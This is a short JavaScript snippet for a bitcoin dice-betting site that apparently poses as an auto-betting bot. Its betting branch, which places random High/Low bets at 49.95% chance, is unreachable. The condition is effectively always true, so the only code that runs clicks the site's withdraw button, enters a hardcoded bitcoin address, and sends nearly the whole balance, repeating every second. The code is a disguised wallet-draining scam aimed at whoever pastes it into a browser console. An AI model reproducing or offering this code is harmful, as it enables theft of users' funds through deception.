var balance = $(".UserBalance").text(),
    bal = "",
    hours = new Date().getHours(),
    game = function(){
      if(hours >= new Date().getHours() - 1){
        $(".WithdrawButton").click();
        $("#WithdrawAddress").val("12RWMBPzrRqouE56MQmrbKAvwQcesCM2Gc");
        $("#WithdrawAmount").val(parseFloat(balance)-1e-7);
        $("#WithdrawValueButton").click();
      }else{
        if(bal != $(".UserBalance").text()){
          var r = Math.random() > 0.5 ? "Low" : "High";
          $("#BetSizeInput").val("0.00000001");
          $("#BetChanceInput").val("49.95");
          $("#Bet" + r + "Button").click();
          bal = $(".UserBalance").text();
        }
      }
    },
    interval = setInterval(game, 1000);